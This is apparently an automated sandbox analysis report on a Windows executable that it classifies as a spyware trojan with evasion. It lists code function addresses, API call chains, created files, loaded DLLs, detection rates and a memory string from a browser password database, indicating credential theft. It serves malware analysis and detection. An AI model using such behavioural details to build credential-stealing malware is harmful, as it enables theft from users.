Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FD791	4_2_065FD791
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FF790	4_2_065FF790
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FF781	4_2_065FF781
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F5780	4_2_065F5780
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F2BB0	4_2_065F2BB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FB7B0	4_2_065FB7B0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F97B0	4_2_065F97B0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F2BAF	4_2_065F2BAF
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F8FA1	4_2_065F8FA1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FD7A0	4_2_065FD7A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FB7A0	4_2_065FB7A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F345F	4_2_065F345F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F9C50	4_2_065F9C50
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F0040	4_2_065F0040
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FBC40	4_2_065FBC40
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6478	4_2_065F6478
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F3460	4_2_065F3460
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FDC1F	4_2_065FDC1F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F001A	4_2_065F001A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F3008	4_2_065F3008
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F3007	4_2_065F3007
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F9C3F	4_2_065F9C3F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6030	4_2_065F6030
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FDC30	4_2_065FDC30
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FBC2F	4_2_065FBC2F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6021	4_2_065F6021
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FFC20	4_2_065FFC20
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FC0D0	4_2_065FC0D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FA0D0	4_2_065FA0D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FE0C0	4_2_065FE0C0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FC0C0	4_2_065FC0C0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F08F0	4_2_065F08F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F08E0	4_2_065F08E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F0498	4_2_065F0498
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F0489	4_2_065F0489
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F6488	4_2_065F6488
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F38B8	4_2_065F38B8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FE0B0	4_2_065FE0B0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FA55F	4_2_065FA55F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FE550	4_2_065FE550
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FC54F	4_2_065FC54F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F0D48	4_2_065F0D48
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FE540	4_2_065FE540
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FA570	4_2_065FA570
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FC560	4_2_065FC560
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FE9D0	4_2_065FE9D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F15F8	4_2_065F15F8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FC9F0	4_2_065FC9F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FA9F0	4_2_065FA9F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F15E8	4_2_065F15E8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FE9E0	4_2_065FE9E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065FC9E0	4_2_065FC9E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F1190	4_2_065F1190
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065F11A0	4_2_065F11A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06633B58	4_2_06633B58
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06634B20	4_2_06634B20
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637160	4_2_06637160
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06634467	4_2_06634467
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663596A	4_2_0663596A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663C769	4_2_0663C769
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06631B68	4_2_06631B68
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06639C68	4_2_06639C68
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663F268	4_2_0663F268
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663C770	4_2_0663C770
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06638470	4_2_06638470
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06632477	4_2_06632477
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06634478	4_2_06634478
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06635978	4_2_06635978
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663F278	4_2_0663F278
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663AF78	4_2_0663AF78
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663DA7F	4_2_0663DA7F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663B442	4_2_0663B442
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630040	4_2_06630040
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06635E40	4_2_06635E40
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663F740	4_2_0663F740
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06631248	4_2_06631248
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06638948	4_2_06638948
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06633B48	4_2_06633B48
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663DF48	4_2_0663DF48
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663B450	4_2_0663B450
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637150	4_2_06637150
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06639C5A	4_2_06639C5A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663DF58	4_2_0663DF58
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06631B58	4_2_06631B58
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663E420	4_2_0663E420
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663CC27	4_2_0663CC27
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663322A	4_2_0663322A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630928	4_2_06630928
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637628	4_2_06637628
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06635E2F	4_2_06635E2F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663F72F	4_2_0663F72F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663A130	4_2_0663A130
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06631237	4_2_06631237
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06638937	4_2_06638937
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06633238	4_2_06633238
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663CC38	4_2_0663CC38
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663D100	4_2_0663D100
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06638E00	4_2_06638E00
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630007	4_2_06630007
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663B907	4_2_0663B907
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06636308	4_2_06636308
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663FC08	4_2_0663FC08
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06632908	4_2_06632908
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663E412	4_2_0663E412
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06638E10	4_2_06638E10
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06632918	4_2_06632918
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663B918	4_2_0663B918
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630918	4_2_06630918
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637618	4_2_06637618
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663A11F	4_2_0663A11F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06634B1D	4_2_06634B1D
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637AE1	4_2_06637AE1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663BDE0	4_2_0663BDE0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06633FE8	4_2_06633FE8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06634FE8	4_2_06634FE8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663E8E8	4_2_0663E8E8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06631FE8	4_2_06631FE8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663A5E8	4_2_0663A5E8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637AF0	4_2_06637AF0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663D0F0	4_2_0663D0F0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066362FA	4_2_066362FA
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06631FF8	4_2_06631FF8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663A5F8	4_2_0663A5F8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663AAC0	4_2_0663AAC0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066392C7	4_2_066392C7
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066316CA	4_2_066316CA
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066336C8	4_2_066336C8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663D5C8	4_2_0663D5C8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066367D0	4_2_066367D0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663BDD0	4_2_0663BDD0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06634FD7	4_2_06634FD7
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663E8D9	4_2_0663E8D9
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066316D8	4_2_066316D8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066392D8	4_2_066392D8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06633FD8	4_2_06633FD8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066354A1	4_2_066354A1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066397A0	4_2_066397A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637FA7	4_2_06637FA7
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630DA9	4_2_06630DA9
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06632DA8	4_2_06632DA8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663C2A8	4_2_0663C2A8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066354B0	4_2_066354B0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663EDB0	4_2_0663EDB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663AAB0	4_2_0663AAB0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663D5B7	4_2_0663D5B7
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066336BA	4_2_066336BA
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630DB8	4_2_06630DB8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06637FB8	4_2_06637FB8
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066367BF	4_2_066367BF
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06638480	4_2_06638480
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630489	4_2_06630489
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06632488	4_2_06632488
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663AF88	4_2_0663AF88
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06636C88	4_2_06636C88
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663DA90	4_2_0663DA90
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663C297	4_2_0663C297
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06632D9A	4_2_06632D9A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663979A	4_2_0663979A
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06630498	4_2_06630498
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06636C98	4_2_06636C98
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0663ED9F	4_2_0663ED9F
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0665BE10	4_2_0665BE10
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066557C0	4_2_066557C0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0665F5A0	4_2_0665F5A0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06654E60	4_2_06654E60
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06651C60	4_2_06651C60
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06653240	4_2_06653240
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06650040	4_2_06650040
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06654820	4_2_06654820
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06651620	4_2_06651620
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0665F228	4_2_0665F228
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06652C00	4_2_06652C00
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06654810	4_2_06654810
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0665F218	4_2_0665F218
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066528E0	4_2_066528E0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06653EC0	4_2_06653EC0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06650CC0	4_2_06650CC0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_066554A0	4_2_066554A0

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: String function: 00402C5E appears 52 times

Source: OeM750ajqm.exe, 00000003.00000002.1448370481.0000000000437000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamegaveafgifternes atrocities.exeDVarFileInfo$ vs OeM750ajqm.exe
Source: OeM750ajqm.exe, 00000004.00000002.2555581855.0000000036B67000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs OeM750ajqm.exe
Source: OeM750ajqm.exe, 00000004.00000002.2525482896.0000000000437000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamegaveafgifternes atrocities.exeDVarFileInfo$ vs OeM750ajqm.exe
Source: OeM750ajqm.exe, 00000004.00000002.2532604469.00000000066A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs OeM750ajqm.exe

Source: OeM750ajqm.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/25@5/5

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_004034F1 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034F1
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_004034F1 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004034F1

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: 3_2_004048F0 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

3_2_004048F0

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: 3_2_00402198 CoCreateInstance,MultiByteToWideChar,

3_2_00402198

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File created: C:\Program Files (x86)\skjaldedigtningen.ini

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File created: C:\Users\user\afsvampning

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File created: C:\Users\user\AppData\Local\Temp\nsk6AFA.tmp

Jump to behavior

Source: OeM750ajqm.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036EDE000.00000004.00000800.00020000.00000000.sdmp, OeM750ajqm.exe, 00000004.00000002.2555642675.0000000036EEE000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: OeM750ajqm.exe	Virustotal: Detection: 58%
Source: OeM750ajqm.exe	ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File read: C:\Users\user\Desktop\OeM750ajqm.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\OeM750ajqm.exe "C:\Users\user\Desktop\OeM750ajqm.exe"
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process created: C:\Users\user\Desktop\OeM750ajqm.exe "C:\Users\user\Desktop\OeM750ajqm.exe"
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process created: C:\Users\user\Desktop\OeM750ajqm.exe "C:\Users\user\Desktop\OeM750ajqm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: rtutils.dll	Jump to behavior
